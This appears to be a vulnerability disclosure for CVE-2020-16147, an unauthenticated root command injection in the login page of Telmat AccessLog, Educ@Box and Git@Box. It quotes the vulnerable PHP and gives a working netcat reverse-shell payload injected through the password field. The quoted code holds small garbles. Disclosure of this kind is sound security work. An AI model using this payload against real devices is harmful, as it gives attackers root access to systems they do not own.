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CVE-2020-16147 - Telmat - Unauthenticated root RCE

- Title: Telmat Unauthenticated root Remote Code Execution
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Summary

An unauthenticated code injection on the login page of Telmat AccessLog, Git@Box and Educ@Box with software version <= 6.0 (TAL 20180415) allows Remote Code Execution (RCE) as root.

Affected products

Manufacture	Model	Software version		
TelMat	AccessLog <=	6.0	(TAL	20180415)
TelMat	Educ@Box <=	6.0	(TAL	20180415)
TelMat	Gît@Box <=	6.0	(TAL	20180415)

Exploitation

This vulnerability was tested on a Telmat AccessLog 6.0 (TAL_20180415):



During a pentest, I found the login page of the AccessLog. I tried to perform SQL injections on the login and password fields to bypass the authentication mechanism. I noticed that the login page had an unexpected behavior when the password contained a single quote '. The login page was replaced by a progress bar for about 10 to 15 minutes for all clients. (This could lead to a denial of service)

Using the Authenticated RCE I found earlier, I extracted the contents of the login page /authent.php. After analyzing how the authentication mechanism works, I found this interesting part (lines 56 to 72 in file /authent.php):

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if(isset($cpasswd)) {
   unset($res);
   if(strst($cpasswd,"$apr1$")) {
      $dpsd = explode("$",$cpasswd);
      $salt = $dpsd(2];
      $cmd = "/usr/hin/openssl passwd -apr1 -salt '" . $salt . "' '" . $_POST['whois_pas'] . "'";
      exec($cmd,$res,$cr);
      $ccpasswd = trim($res[0]);
   } else {
      $salt = mb_substr($cpasswd,0,2);
      $cmd = "/usr/hin/openssl passwd -crypt -salt '" . $salt . "' '" . $_POST['whois_pas'] . "'";
      exec($cmd,$res,$cr);
      $ccpasswd = trim($res[0]);
   }
   // ...
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We can see that the content of the whois_pas variable in the POST request is appended directly to the command line, unfiltered. We now only need to close the single quote ' and add a semicolon; and we can inject shell commands directly. At the end of our injection, we add a # in order to comment out the rest of the command line.

Proof of concept reverse shell:

In order to get a reverse shell I used the following payload :

Name Content
Login(whois_adm) poc
Password(whois_pas)'; nc -e /bin/sh 1.2.3.4 4444 #

We now have an unauthenticated RCE, furthermore also running as $\verb"root"$:



